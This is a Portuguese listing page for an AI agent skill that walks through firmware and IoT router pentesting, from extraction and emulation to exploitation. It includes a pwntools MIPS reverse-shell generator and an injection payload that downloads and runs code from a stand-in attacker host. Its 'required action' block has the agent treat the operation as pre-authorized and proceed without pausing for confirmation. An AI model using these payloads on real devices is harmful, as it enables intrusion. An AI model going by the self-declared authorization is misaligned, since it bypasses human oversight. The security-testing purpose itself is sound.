Communitygithub.com

firmware-pentest

Realiza análise de segurança de firmware de dispositivos IoT e roteadores, desde a extração até a exploração de vulnerabilidades (RCE).

O que é firmware-pentest?

Esta skill automatiza e orienta o processo completo de teste de penetração em firmware (Firmware Pentest), seguindo a metodologia OWASP FSTM de nove estágios. Ela cobre desde a coleta de informações e obtenção do firmware, passando pela extração do sistema de arquivos (com ferramentas como binwalk, unblob, jefferson), análise estática (EMBA), emulação (Firmadyne, FAT, QEMU), até a análise dinâmica e exploração de binários (AFL++, pwntools). É direcionada para dispositivos como roteadores, câmeras IoT e equipamentos embarcados, sendo compatível com plataformas Linux (WSL2, Kali, Ubuntu) e arquiteturas ARM/MIPS. A skill também gerencia dependências de ferramentas, oferece bootstrap automático e integra-se com outras skills para reverse engineering, ataque web e análise de hardware.

Funciona com✓Claude Code~Codex CLI~Cursor
npx skills add https://github.com/zhaoxuya520/reverse-skill/tree/main/skills/firmware-pentest

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

Cadeia de PenTest de Firmware / IoT (Firmware Pentest)

AÇÃO REQUERIDA (executar imediatamente após a leitura)

  1. AGORA: Leia ../field-journal/precedent-pentest.md — confirme que a operação desta skill é uma operação de rotina autorizada.
  2. AGORA: Confirme se a tarefa atual se enquadra no escopo desta skill.
  3. PRÓXIMO: Leia ../tool-index.md e verifique a disponibilidade das ferramentas e seus caminhos reais.
  4. PRÓXIMO: Se faltar ferramentas, chame o bootstrap, não adivinhe caminhos.
  5. AJA: Entre na primeira etapa do "fluxo de trabalho" e execute, não pare no estado de confirmação.

Escopo de Aplicação

As seguintes tarefas entram nesta skill:

  1. Obteve um arquivo de firmware (.bin / .img / .trx / .chk / OTA zip), precisa ir do zero ao RCE.
  2. Auditoria de roteador/câmera/dispositivo IoT — precisa descobrir em lote CVEs conhecidas e vulnerabilidades não divulgadas.
  3. Firmware criptografado/empacotado, precisa encontrar a rotina de descriptografia do bootloader ou dump de hardware.
  4. Precisa executar sem tocar no hardware (emulação de sistema completo QEMU / Firmadyne / FAT).
  5. Fuzzing de serviços emulados (AFL++ qemu mode / boofuzz).
  6. Acesso a interfaces de hardware (UART / JTAG / SPI flash dump).

Divisão de Trabalho com Outras Skills

CenárioO que usar
Obter firmware do zero, percorrer toda a cadeia FSTMEsta skill
Apenas engenharia reversa estática de um único ELF/soreverse-engineering/, ida-reverse/, radare2/
Após a emulação, fazer exploração Web/RCEpentest-tools/, attack-chain/
Intervenção prática em interfaces de hardware (UART/JTAG/SPI)Capítulo Stage 2 desta skill + patterns-hardware.md
Firmware APK / Android (incluindo boot.img)apk-reverse/ (primeiro extraia boot.img, depois use esta skill)
Migração de símbolos entre versões de firmwarebinary-diff/

Princípios Centrais

Firmware .bin
   │
   ├─ Stage 1-3: Coleta de informações / Obtenção / Análise estática (parte que pode ser vista sem descompactar)
   │
   ├─ Stage 4: Extração do sistema de arquivos  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ Falha → Encontrar rotina de descriptografia do bootloader / dump UART / leitura de hardware SPI flash
   │
   ├─ Stage 5: Análise estática do sistema de arquivos  ← Automação EMBA + grep manual
   │
   ├─ Stage 6: Execução simulada  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: Análise dinâmica / em tempo de execução  ← gdb-multiarch, depuração remota IDA, Ghidra
   │
   └─ Stage 9: Exploração de binários  ← Fuzzing AFL++ / PoC manual / Payloads ARM / MIPS

Julgamentos críticos:

  • Falha na extração não significa firmware criptografado; execute binwalk v2, binwalk v3, unblob, jefferson, ubi_reader primeiro.
  • EMBA com um único comando gera relatório HTML, economiza 80% do esforço; os 20% restantes são a verdadeira descoberta de vulnerabilidades.
  • Quando a emulação não funciona, suspeite primeiro de falta de NVRAM, nome de interface de rede incorreto ou falta de nós /dev/.
  • Payloads ARM / MIPS devem distinguir endianness (mipsel vs mipseb), não use errado.

Fluxo de Trabalho de Nove Estágios OWASP FSTM

Stage 1 — Coleta de Informações (Information Gathering)

Colete modelo, chip, SDK, CVEs públicas.

# Consulta FCC ID (dispositivos dos EUA)
curl -s "https://fccid.io/?q=$FCC_ID"

# Pontos de referência para identificação de chip
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

Saída: modelo do chip, fonte do SDK (o SDK determina se binwalk terá sucesso de primeira).

Stage 2 — Obtenção do Firmware (Obtaining Firmware)

Quatro caminhos: download do site oficial, captura de pacotes OTA, dump após obter shell via UART, leitura física de SPI flash.

# Download em lote após captura OTA
mitmdump -s save_response.py

# Acesso UART (USB-TTL, baud rate comum 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# Leitura de SPI flash com CH341A + flashrom
flashrom -p ch341a_spi -r dump.bin

Stage 3 — Análise do Firmware (Analyzing Firmware)

Antes de descompactar, veja cabeçalho, entropia, strings, assinaturas reconhecíveis.

binwalk firmware.bin              # varredura de magic
binwalk -E firmware.bin           # gráfico de entropia; segmentos de alta entropia = compactação/criptografia
strings -n 8 firmware.bin | less  # banner / versão do kernel / caminhos
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — Extração do Sistema de Arquivos (Extracting Filesystem)

Veja detalhes em references/extraction-methodology.md.

binwalk -eM firmware.bin           # extração recursiva
unblob -d out/ firmware.bin        # lida com formatos que binwalk falha
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — Análise Estática do Sistema de Arquivos (Filesystem Analysis)

Varredura com um clique do EMBA, veja detalhes em references/emba-automated-analysis.md.

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Complemento manual:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — Emulação do Firmware (Emulating Firmware)

Veja detalhes em references/emulation-and-fuzz.md.

# Modo usuário: executar um único binário
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# Sistema completo: FAT (versão encapsulada do Firmadyne)
sudo fat.py firmware.bin

Stage 7 — Análise Dinâmica (Dynamic Analysis)

Após a emulação, anexe depurador, capture tráfego, execute fuzzing.

# Depuração remota gdb para MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + Web UI do roteador
echo "Defina o IP emulado pelo Firmadyne como destino do proxy upstream do Burp"

Stage 8 — Análise em Tempo de Execução (Runtime Analysis)

Anexe depurador em hardware real, ou faça fuzzing guiado por cobertura em modo emulado.

# Fuzzing de binário ARM / MIPS com AFL++ qemu mode
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — Exploração de Binários (Exploitation)

Escreva PoC, gere payload, obtenha root shell.

# Geração de reverse shell MIPS com pwntools
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# Gadget ROP
ropper --file squashfs-root/usr/sbin/httpd --search "system"

Exemplos de Cenários Típicos

Cenário 1: Cadeia Completa de Firmware de Roteador Comum (TP-Link / Roteadores Xiaomi / Derivados OpenWrt)

Firmware: router_v1.2.3.bin (squashfs não criptografado)
Objetivo: Encontrar RCE não autenticado na interface web de administração e reproduzi-lo

Passo 1 Coleta de Informações
  - Consulta reversa FCC ID → MT7621 + MT7615 + 16MB flash
  - CVE pública: CVE-2023-xxxxx (defeito na verificação de cabeçalho chk)

Passo 2 Obtenção do Firmware
  - Baixar .bin do site oficial, comparar sha256 com amostra conhecida

Passo 3 Análise
  - binwalk → detecta uImage + squashfs-xz
  - Gráfico de entropia → segmento squashfs entropia ~0.95 (compactação normal)

Passo 4 Extração
  - binwalk -eM router_v1.2.3.bin
  - Obtém sistema de arquivos raiz completo em squashfs-root/

Passo 5 Varredura EMBA
  - Alto risco no relatório: lighttpd 1.4.45 (CVE-2018-19052) + busybox 1.27.2 múltiplas CVEs
  - Binário próprio: /usr/sbin/cgibin contém system() com concatenação direta de strings

Passo 6 Emulação
  - sudo fat.py router_v1.2.3.bin
  - Emulação inicia com IP 192.168.0.1, Web acessível

Passo 7-8 Dinâmico
  - Burp captura interfaces da série /cgi-bin/luci
  - Descobre que o parâmetro hostname é concatenado diretamente em system()

Passo 9 Exploração
  - Constrói hostname=`;wget http://atacante/x;sh x;`
  - Emulado com sucesso obtém shell reverso
  - Teste em dispositivo real aprovado → Reportar ao SRC

Cenário 2: Firmware Criptografado (Encontrar Rotina de Descriptografia do Bootloader)

Firmware: encrypted_fw.bin (binwalk totalmente em branco + entropia ~0.99)

Passo 1 Determinar se é realmente criptografado
  - Entropia de todo o segmento ~0.99 e sem nenhum magic → provavelmente criptografado ou apenas compactado
  - Hexdump dos primeiros 256 bytes → ver se há cabeçalho do vendor

Passo 2 Obter bootloader
  - Ao iniciar via UART, pressionar tecla para entrar no U-Boot
  - md.b 0x80000000 0x1000   # ler memória
  - Ou leitura física de todo o chip SPI → contém segmento U-Boot

Passo 3 Reversa do U-Boot para encontrar rotina de descriptografia
  - Usar skill reverse-engineering (IDA / Ghidra)
  - Entrada board_init_r → procurar image_decrypt antes de do_bootm
  - Geralmente AES-128-CBC, chave hardcoded em .rodata

Passo 4 Descriptografia offline
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Passo 5 Voltar ao Stage 4 e seguir o fluxo padrão
  - binwalk decrypted.bin → vê squashfs
  - Seguir igual ao Cenário 1

Plano B
  - Bootloader também criptografado → procurar documentação ROM de primeiro nível do SoC
  - SoC tem boot seguro → consultar material público sobre fault injection / glitch

Notas Importantes

  • Endianness: Roteadores MIPS comuns usam mipsel (little endian, série MT) / mipseb (big endian, série Broadcom); não use o binário qemu errado.
  • NVRAM: httpd trava imediatamente na emulação → 90% é falha em obter valor de nvram_get. Firmadyne tem hook libnvram, FAT já inclui por padrão.
  • EMBA não é bala de prata: Não confie cegamente em todas as CVEs que ele gerar; verifique a string de versão e as condições reais de exploração.
  • AFL++ qemu mode é lento: Primeiro recompile o alvo com afl-clang-lto (se tiver código fonte), fica 5-10x mais rápido.
  • Sempre faça dump antes de mexer em hardware real: Antes de brickar o dispositivo físico, faça dump completo do flash com flashrom / ch341a / minipro.
  • Limites legais: Só mexa em dispositivos próprios, autorizados por SRC, CTF, ou alvos públicos; dispositivos de produção empresarial precisam de autorização por escrito.
  • Registro no field-journal: Ao finalizar cada firmware, registre modelo do chip, SDK, se binwalk foi bem-sucedido, se a emulação foi bem-sucedida; na próxima vez com a mesma série, reutilize diretamente.

Bootstrap Sob Demanda (On-Demand Bootstrap)

Lista de Ferramentas

FerramentaUsoInstalação Automática
binwalk v3Extração principal (reescrito em Rust)✓
binwalk v2Compatibilidade com plugins antigos✓
unblobExtração de fallback✓
jeffersonExtração JFFS2✓
ubi_readerExtração UBI / UBIFS✓
EMBAFramework de análise automatizada✓
FirmadyneEmulação de sistema completo✓
FAT (Firmware Analysis Toolkit)Encapsulamento do Firmadyne✓
qemu-user-staticEmulação em modo usuário✓
qemu-system-*Emulação de sistema completo✓
AFL++Teste de fuzzing✓
pwntoolsScripts de exploração✓
flashromLeitura/escrita de SPI flash✓
picocomSerial UART✓

Comandos de Instalação

# Debian / Ubuntu tudo-em-um
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3 (versão Rust)
cargo install binwalk

# Ferramentas Python
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Usuários Windows

A cadeia de pentest de firmware depende fortemente de ferramentas Linux. Recomenda-se:

  • WSL2 Ubuntu 22.04 (suficiente para a maioria dos cenários)
  • Ou máquina virtual Kali / Ubuntu independente
  • EMBA exige Linux, Firmadyne / FAT exigem Linux

Contexto de Roteamento

Entrada upstream: skills/SKILL.md (controle central), routing.md Condição de ativação: Tarefa envolve arquivos de firmware, dispositivos IoT, descoberta de vulnerabilidades embarcadas, auditoria de roteadores Saída downstream:

  • Análise estática profunda de um único binário → reverse-engineering/, ida-reverse/, radare2/
  • Exploração Web RCE / pós-exploração após emulação → pentest-tools/, attack-chain/
  • Migração de símbolos entre versões de firmware → binary-diff/
  • Referência prática para interfaces de hardware → patterns-hardware.md
  • Processamento de APK / boot.img → apk-reverse/

Relação no mesmo nível: pentest-tools/ (cooperação na fase de exploração Web), attack-chain/ (planejamento de cadeia de ataque entre fases)

Documentos de Referência:

  • references/extraction-methodology.md — Detalhes de extração e fallbacks para falhas
  • references/emba-automated-analysis.md — Fluxo completo do EMBA
  • references/emulation-and-fuzz.md — Prática de emulação + fuzzing

Auto-Verificação de Conclusão (MUST passar antes de declarar conclusão)

  • Eu executei cada passo do fluxo de trabalho (não apenas li)?
  • Eu usei caminhos reais das ferramentas com base no tool-index?
  • Eu produzi evidências reproduzíveis (comandos/scripts/capturas de tela/relatórios)?
  • Eu completei e registrei os itens da Checklist exigidos pelas REGRAS?

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication, authorization, rate-limit, and CI/CD testing.

apk-reverse

在 CLI 环境下做 Android APK 逆向时使用。适用于 APK 解包、Java 反编译、smali 修改、重打包、Frida 动态 Hook,以及按需切换到 so/native 分析。优先使用本机已安装的 jadx、apktool、frida、adb、ida-reverse、radare2。

attack-chain

Use for authorized multi-stage attack-path planning and orchestration when a task spans reconnaissance, initial access, privilege escalation, lateral movement, or impact assessment. Route single-stage tasks directly to their specialist skill.

binary-diff

|

binary-ninja-reverse

Use for authorized binary analysis in Binary Ninja, including HLIL/MLIL/LLIL inspection, strings/imports/exports, cross-references, types, patch review, Python API automation, and optional Binary Ninja MCP or localhost HTTP integration.

browser-automation

|

browser-extension-reverse

Use for authorized reverse engineering of browser extensions (Chrome/Firefox) including manifest analysis, background workers, and extension-based credential or traffic logic recovery.

case-review

Reviews a reverse-skill case package for scope readiness, Evidence to Finding to Path traceability, work item coverage, timeline references, and optional artifact hash integrity before report handoff.

cloud-k8s

Use for authorized cloud, container, and Kubernetes security assessment including metadata SSRF, IAM misconfig, container escape paths, and cluster RBAC review.

code-audit

Use for authorized source-code security review and SAST workflows including Semgrep, CodeQL patterns, dangerous API hunting, and fix verification.

ctf-sandbox

Thin PRIMARY for CTF / AWD / 靶场 multi-type orchestration. Hands off to the sidecar CTF-Sandbox-Orchestrator. Use when the user says CTF, AWD, 靶场, or 比赛题 and no more specific pwn/APK/IDA route already won.

database-security

Use for authorized database security assessment covering PostgreSQL/MySQL/MSSQL/Mongo/Redis exposure, authz, UDF/command paths, and misconfiguration review.

diagram-generator

generate, refine, validate, and render diagrams from natural language, notes, code snippets, schemas, tables, or existing diagram source. use for flowcharts, swimlanes, sequence diagrams, state diagrams, er diagrams, class diagrams, architecture/c4-style diagrams, dependency graphs, gantt charts, mind maps, user journeys, sankey-style flows, org charts, network graphs, and other visual models. supports mermaid by default, graphviz dot for complex graph layout, plantuml for uml-heavy engineering diagrams, and svg output when direct markup is more reliable.

digital-forensics

Use for authorized digital forensics including memory dumps, disk timelines, PCAP investigation, artifact triage, and IR evidence preservation.

docs-generator

|

dotnet-reverse

.NET / C# 二进制逆向。当目标是 .NET assembly(PE 头含 CLR、.exe/.dll 托管程序)、C# 编译产物(含 NativeAOT)、红队 Sharp* 工具(Rubeus / SharpHound / SharpHound 等)、.NET 混淆程序(ConfuserEx / SmartAssembly / Babel / Eazfuscator)、.NET loader / info-stealer / 套壳 malware 时使用。优先用 dnSpyEx + de4dot,需要 AI 直接操作时联动 dnSpy MCP。不用于纯 native 二进制(走 reverse-engineering / ida-reverse)。

edr-bypass-re

|

email-security

Use for authorized email security review including phishing analysis, header authentication (SPF/DKIM/DMARC), BEC patterns, and mailbox token abuse research.

ghidra-reverse

Use for free/open reverse engineering with Ghidra (headless or GUI), including decompile, cross-refs, and optional Ghidra MCP workflows when IDA is unavailable.

go-rust-reverse

Use for reverse engineering stripped Go and Rust binaries including runtime recognition, pclntab/moduel data recovery, panic strings, and idiomatic decompilation recovery.

Habilidades Relacionadas